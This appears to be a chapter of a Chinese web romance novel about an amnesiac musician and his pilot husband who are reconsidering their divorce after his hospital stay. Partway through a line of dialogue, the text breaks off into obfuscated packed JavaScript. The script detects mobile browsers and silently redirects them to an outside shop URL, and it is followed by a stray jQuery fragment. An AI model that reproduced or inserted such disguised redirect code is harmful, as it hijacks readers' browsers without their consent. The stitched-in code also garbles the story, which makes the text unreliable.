有一个瞬间，宁知还是感到愤怒的。就好像看着一个亿万富翁坐在金山上叹气，说人生了无生趣。
可下意识皱起的眉头、四肢莫名泛起的无力酸麻，变得深长才能维持氧气摄入的呼吸……他的身体呵斥了这把刺向自己的剑。
于是他又感到茫然，为他刚刚才感受到的十年的长度。
眉头拧出深深的沟壑来，好像那些消失的记忆能沿着这些小径一点点再汇聚成川一样。
突然间他很拼命地想要想起一切，可比那些未知数更早到来的，是尖锐的头痛，不打招呼地撕扯起脆弱的神经。
宁知还猛地埋下头，把整张被疼痛拉扯得面目全非的脸埋进膝盖，他下意识要用手拢住头，却被另一只手挡住。
“有针。”季桉还记得向他解释。
宁知还听了个囫囵，想笑，想说你解释这个干嘛，我痛啊，但扯起的嘴角又被刺得连弯起弧度都做不到，眼尾毫无预兆地落下雨来。
咸涩的眼泪顺着脸颊，还没坠下，就先贴上了硬挺的布料，像落进沙漠一样被吸纳了。
季桉倾身抱住了他。
干燥温暖的掌心贴着他的后脑，不轻不重地自上而下地抚慰，他的制服袖子挽着，手臂上的经络和他肌肤相贴。
头痛让宁知还感官过载，却也让他有着一种，能觉察到对方脉搏一样的错觉，如此贴近。
人类实在是很不自洽的生物。他们衣冠楚楚地行走在由自己构建的社会里，条条框框，规矩方圆，固守着矜持的社交距离，但是偏偏，这样贴近的接触才是情绪的解药。
或许是在这种无隔阂的接触里，宁知还慢慢平静下来，被季桉轻抚他发丝时滚动的筋络拉回现实。
他闭着眼睛，缓缓地，深深地，悄悄地吸了口气。
还是被季桉敏锐察觉到了，指尖轻轻点了点宁知还的后颈。
“先松手。”他说，“这样我按不到呼叫铃。”
宁知还这才发现，自己扎针的那只手被季桉护在拥抱里，但另一只手不知什么时候抓住了他的肩膀，把笔挺的衬衫攥出旋涡一样的布褶来，领口都歪了。
从前宁知还不觉得自己是个喜欢肌肤接触的人，甚至连握手的程度都会觉得有点尴尬。他认为人类的构造就不适合接触，夏天会汗津津的，冬天又有一种交换彼此体温的逾距感。
但是，但是……
他忽然想，面前的这个人，虽然我们在谈离婚中，但是，但他现在还算我名义上的爱人吧？医生手上的病危通知书末尾，还签着他的名字呢。
抱一下的话，应该也合适吧？
他都咬我了。
我们是可以合法抱抱的关系呀。
乱七八糟的思绪如同滚雪球一样，从高高的、踌躇的山顶滚落，砰地砸在他的后脑勺上，温柔地轻推了一把。
于是宁知还的脑袋一低，固执地扎进季桉的颈窝，脸颊被肩章硌住也没再动弹。像只往母鸡羽翼下面扎猛子的毛茸茸小鸡。
更别提季桉的手在顿了一下之后，又重新盖住了他。
漫天风雪里，他躲进了烧着壁炉的小屋，关上家门，一点寒风都再进不来了。
他听见季桉的声音从有点陌生的距离、更贴近地传来。
“哪里难受？需要我叫医生吗？”
宁知还摇头，闷闷：“没事，你就行。”
……
沉默。
我怎么能说出这种话。
宁知还从如坠梦境一样的迷糊里醒了，呆滞睁眼。
这话莫名其妙就脱口而出了，甚至有点迫不及待地，就好像是等了十分钟电梯的人终于看见轿厢门打开，于是只顾着埋头往里冲一样。
不对啊。宁知还想。我怎么会对一个第一天刚见面的酷哥讲出这种轻浮的话，这样好像渣男。
天哪。
心脏蹦蹦跳跳的，带着点小批判，又有点好奇的欢喜。
我竟然能说出这种话。
脑海里闪过刚刚季桉一连串的摇头，宁知还觉得自己终于找到正确答案了。
“……顺嘴了。”他先解释，然后用下巴磕了磕季桉的肩章，敲门一样，又问，“我以前是不是经常……嗯，咳，这样撩你啊？”
耳边的声音沉默半晌，忽然轻呵着笑了一声。
宁知还以为自己猜对了，沾沾自喜的气球刚晃悠悠飞起的时候，那家伙又说。
“没有。”
原本萦绕在两人身边那种微妙的气氛，一下子就像掉进现实被戳破的肥皂泡一样，啪地散了。
又没有！
宁知还认为自己必须要开始怀疑此人的诚信程度了。
这也没有那也没有，那他俩当初是怎么坠入爱河还闪婚的？总不会是这个季桉挑头担子一头热吧。
看着也不像呀。
宁知还脑袋一撇，把下巴从硌人的肩章上挪开，被按在中间的那只打点滴的手拱了拱季桉：“好了好了……”
季桉从善如流地松了手。
他好像没有察觉到什么气氛的改变，怀抱松开之前，掌心还留有温存地轻轻捏了捏他后颈的软肉。
他动作很熟练，很顺手，捏得宁知还头皮一麻，脖子下意识缩了一下，这个排斥的动作让季桉愣了两秒，然后又敛眉垂手坐回去了。
“不好意思，顺手了。”他说。
宁知还用没扎点滴的手往后摸了摸，搓搓捏捏好几下，也没有什么特别的反应。
他咕哝着：“嗯，也没事儿……”
就是好像还挺舒服的。
那种一下子麻到头皮的感觉。
……哎呀！
两个人重又变回规规矩矩的模样。
视频已经播完了，宁知还伸手去戳，想要返回去再看一下，却被季桉拦住。
“医生说你不能受刺激。”
宁知还摸摸鼻子。他觉得应该没事儿了，刚刚就是一下子有点没能接受失忆的事……
但季桉直接拿走了手机。手掌覆在屏幕上，拇指按在他一边膝盖上，中指展开，往他另一边膝盖上一推，把夹着手机不愿意给的腿轻轻松松顶开，就这么游刃有余地拿走了。
“乖，不看了。”
大概是现在的宁知还有种莫名的清澈，季桉下意识就说了这种哄小孩一样的话。
季桉自然而然地说出这句话之后，宁知还就看见他忽然移开视线，有些躲避的模样。
他伸手环抱住膝盖，侧着脸靠在上面好奇：“怎么了？”
季桉把手机收好，呼出一口气，屈指敲了两下眉心，倚在病床护栏边：“忘记了，你不喜欢我这么喊你。”
“啊……”宁知还支支吾吾地沉默了一会儿。
季桉抬头看着快见底的点滴，笑了笑。
忽然，他听见宁知还说。
“好像，也还好吧。”
无色的液体从药袋坠入中间的小气囊，液面很轻地震荡了一下。
季桉侧头看他。
“还好？”
宁知还眨巴眼睛，似乎不是很确定，但还是凭感觉囫囵道。
“好像没觉得讨厌……你为什么会这么觉得？”
季桉却没有直接回答，指节从眉心滑到下颌，眼尾微微眯着，就这么莫名地看了他好一会儿，末了失笑。
“你自己说的，不用将这些过剩的保护欲投射到你身上。”
“哇……”
宁知还呆了一会儿，似乎在判断这句话是真是假，最后得出结论。
“好装。”
不像我说的。
季桉笑起来，他不笑的时候有种很唬人的冷感，好像连眼神都带着刀，但这样笑的时候，又意外舒朗。
他说：“我也觉得。”
“那你戳穿了吗？”宁知还随口问。
“没有。”季桉道，“你不开心，我就不说了。”
宁知还眨眨眼：“我觉得你应该死缠烂打一点……我吃这套。”
“嗯哼，我知道。”季桉又笑，“我就是这么追到你的，但……”
但是了了，大概人是会变的。
他一句话说了一半就起身，抬手关了点滴推轮，说：“我去叫护士拔针。”
宁知还看着他的背影，疑惑侧头，抬手拍了一下床头的铃。
于是季桉走不成了，他回头，宁知还坐在被子里看他，微微歪着头。
这让他想起在片场和宁知还的初遇。
戈壁滩上黄沙肆虐，来采风的音乐人刚被经纪人带着团队一阵抓拍，告一段落后，人潮褪去，只剩下他自己一个，不知道从哪里拿了一片塑料布，往头上一顶，把自己拢在里面，但风实在太大，很快掀翻了他脆弱的防护。
他一动不动，就像现在坐在被子里一样，坐在塑料布中间。
那时宁知还的头发比现在还长些，大自然没有导演一般的情调，风向乱七八糟，把他半长的头发糊了满脸。
季桉鬼使神差地走过去，脱了夹克外套撑起来给他挡风。
宁知还缩了缩，抬头看了他一眼，发丝听话地落到耳后，露出那张漂亮的脸。
他话很少，只说了句谢谢。
季桉试图笨拙地找个话题，但下意识站得笔挺，自我介绍：“我是刚刚执飞那架初教6的飞行员。你在想什么？有什么想了解的吗？”
“啊……唔。”漂亮的艺术家反应好像慢半拍，侧过脸看向戈壁尽头，叹了口气。
“想回家……”
同样的动作在季桉脑海里渐渐重合了，记忆里宁知还被黄沙吹得有些迷离的眼神，和面前清凌凌的眸子两相交替。
季桉忽然问他：“要回家吗？”
“嗯？”话题跳跃得让宁知还有点意外，“我能出院？”
进来给他拔针的护士闻言笑笑：“主任说随时可以，而且在熟悉的地方对恢复更有好处。”
手脚麻利地处理完点滴，护士又扭头对季桉道：“出院手续在二楼办。”
护士端着叮叮当当的东西出去了，季桉下楼办出院手续，病房里终于又变得空空荡荡。
怕他无聊，季桉把自己的手机解锁放到他旁边，宁知还自己的手机已经拿去送修了。
宁知还没好意思直接用季桉的手机，他环视着四周，单人病房环境很好，除了一些监护仪器以外，和酒店也差不了什么，住着其实也很舒服。
他刚生出一点后悔的心思，转念一想，不对，他现在已经不是住宿舍的大学生了。
他，已经是事业有成的二十八岁真正的成年人了！
于是季桉拿着一沓单子刚推门进来，就看见宁知还目光灼灼地看他，贴着胶布的手，啪地拍到被子上。
“季桉。”他严肃试探，“我们买房了吗？”
季桉想了一下：“你问哪里。”
宁知还缓缓吸气。
他家境不算差，否则也供不起他学琴，但京市寸土寸金，父母忙活半辈子，也就买下一套堪堪够一家三口住的房子来。
所以什么叫，“你问哪里”。
有很多吗？！
抿了抿唇，宁知还旁敲侧击：“娱乐圈……赚这么多吗？”
“不多。”季桉说，“所以我们也没买在贵的地方。”
他说着，走到窗边把遮掩的半扇窗帘挥开。太阳已经足够炽烈了，今天又是一个晴天。
“这里是绍城，南省的一个三线城市。我认识你的时候，你就住在这里。”
阳光让宁知还闭了下眼睛，再睁开，他看到窗外一树的绿色，和京市城里的钢铁骨架全然不同。
季桉的声音也被阳光染上温度。
“结婚之后我们搬到隔壁省会峦城，因为我的航班经常从峦城起飞，海市也有房子，峦城冬天阴冷，你会去过个冬。”
“你呢？”
“如果正好有航班，我会去歇歇脚。”
“好忙。”
“我们公司飞海市的班次不多，很抢手。但后来你回了绍城，说这里冬天也不算难过。”
“那房子怎么办。”
“放着了。”
“是……婚后共同财产吗？”
季桉终止了这场平平淡淡的一问一答，扭头看了宁知还一眼，转身走进阴影里垂眸收拾东西。
“问这个做什么。”
宁知还掀开被子挪到床边，腿晃了两下：“我喜欢海市。”
“所以？”
“如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903534|212984||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要离婚的话，我可以多付一点钱，把房子留下来吗？”
“可以。”季桉手上动作没停，而且更快了，似乎这样才能掩饰自己被宁知还的话打了个措手不及的事实。
难道刚刚靠在他颈窝的那一瞬间是假的吗？
不过也对，什么肌肤相亲的事儿，向来都只能绊住他自己。
到头来吃这套的还是只有他自己，眼前的人本质上还是宁知还，无论有没有记忆，都是那样。
突然间他停下动作，一松手，单据散了一桌。
“你还是想离婚？”他没回头，只是问。
于是他也没有看到，身后，宁知还偷侧着头，悄悄地认真注视着他。
“虽然我现在不记得了，但我相信失忆前的我这么做一定是有原因的，所以如果要按照原先的安排走，我也不介意。”
“……不过。”他突然话锋一转，“我还没有问过你，愿不愿意。”
咚。
季桉向来很稳的手，忽然抖了一下。他听见响声，以为是自己弄掉了什么。
咚。
是心跳。
好像做了一万年的心理准备，季桉才回头看过去。
宁知还坐在床沿，好看的眉头微蹙，仰着脸看他，目光定定的，声音却很轻。
“要……离婚吗？”
那双眸子，那个声音，都湿漉漉得像季桉昨天凌晨出门时看到的那场雨。
雨再下大一点吧，下到航空管制航班取消，他就可以转身回家守着那个又拽他沉沦的可恶家伙。
他讨厌那场淅淅沥沥、虚张声势的细雨。
可现在，他忽然又觉得那场雨可怜起来。
“季桉？”宁知还又那样声音小小地喊他。
斜风捻着雨丝砸在他眉心，季桉几乎要晕头转向了，像跌入空间迷向一样找不到出口。
宁知还的失忆只是短暂的，他不可能一辈子都不恢复记忆。
就算是一辈子都想不起来，他也还是那个宁知还。只要两个人继续走下去，就还是会走到离婚的那一天……
“不离。”季桉说。
“哦对了。”几乎同时，宁知还道，“我刚刚查了一下排号，最早又要到三个月后了。”
季桉问：“你排了吗？”
宁知还说：“没有。”
他眨了眨眼，忽然有点狡黠的意味。
他确定了。虽然已经走到谈离婚这一步，但是，季桉不甘心。
巧了，十八岁的宁知还，也不甘心。
他从床头挪动着蹭到床尾，在镜子里看见了自己现在的样子。宽大的病号服显得他比采访视频里还瘦了，头发太长，皮肤也带着久不见光的苍白。
宁知还重重叹了口气，十八岁叹出八十岁的惆怅来。
怎么把自己养成这样呢宁知还？你把自己养的一点也不好……所以我要狠狠搅乱你的生活。
我是坏宁知还。他愤愤完，又耷拉着眉眼无奈地笑。
所以快点想起来，告诉我你到底怎么了。
另一边，季桉收好了很少的一些东西，只有一个手提袋，拎着东西的那条手臂勾勒出漂亮的线条，让宁知还想起这条手臂贴在自己颈侧时候的感觉。
他清了清嗓子，光裸的脚尖点了点瓷砖地面，季桉看了眼，刚要去给他找鞋，余光里，白皙的脚又急匆匆地晃了两下，故意引他去看一样。
“很冷。”宁知还微微侧头看向愣着的季桉，声线清清冷冷，但语调向下，落出点可怜巴巴的意思。
“你不背我吗？”
大脑轰的一下，季桉想起留宿在宁知还家的第一个清晨，他也是这样坐在床边，光裸的小腿荡了一下。季桉见他脚还露在外面，于是俯身给他穿上拖鞋，宁知还歪头看他，唇角轻轻笑了一下，另一只却怎么也不肯让他穿了。
季桉闭了一下眼睛。
他没再迟疑哪怕半秒，把手提袋放到床头，背过身去在宁知还面前蹲下，单膝侧向外面却不落地，一个标准且稳的蹲姿，手往后一钩。
他的爱人很轻地落了上来，手臂有点胆怯地环着他的肩颈，似乎是没被这么背过，心跳得很紧张，腿在他腰侧夹得很紧。
但他在自己耳边笑。
季桉站起来了。宁知还趴在他背上，视野比季桉的身高还高出半个头，新奇而紧张地，宁知还试图找点话题。
“对了季桉，前采我都没看完。后面结婚和离婚的原因，我们是怎么说的？”问完之后，他怕季桉不肯讲，又掰扯，“虽然这个事情暂时搁置，但了解一下原因也不是不行嘛。”
季桉的语调意料之外的干脆。
“你说结婚是因为年少冲动，我说离婚是因为聚少离多。”
他微微蹲了一下走出病房门，好不让宁知还磕到门檐，步伐稳到宁知还都没意识到要低头，就已经走了出去。
“你觉得呢？”季桉反问。
宁知还忙着回头看那个好像会自己升降的门檐，愣道：“什么？”
季桉似乎不满他的走神，又或许是怕他滑下来，手臂不打招呼地颠了他一下，听见宁知还压着声音“哎”了声，才笑着重复。
“采访里说的原因，你觉得是实话吗？”
在这样的气氛里，他满怀着一些期待，想要听到对方否决自己，告诉他“我觉得我在骗你”。
可很快，他听到了答复。
宁知还想了想：“你说结婚的话，是吧。毕竟我就是个会冲动的人……”
说罢他还点了点头，下巴无意识拨弄着季桉的头发，痒得他咬牙。
但宁知还又开口。
“不过这个节目很精明诶，你发现了吗？他们只让一个人回复一个问题，没有都问。是分配的吗？”
季桉搂着他双腿的手忽然一紧，脑海里只转了一下，几乎瞬间就明白了他的意思。
“不是。”他按捺着又过分起来的心跳，语气如常，“是自己选择答哪个的，你先选。”
“是嘛。”宁知还说，“我也很好奇那个没被选择的答案。”
他搂住季桉肩颈的手臂紧了紧，很小声地耳语，偏偏又侧头避开他的耳边。
“因为我好像，还挺喜欢你的。”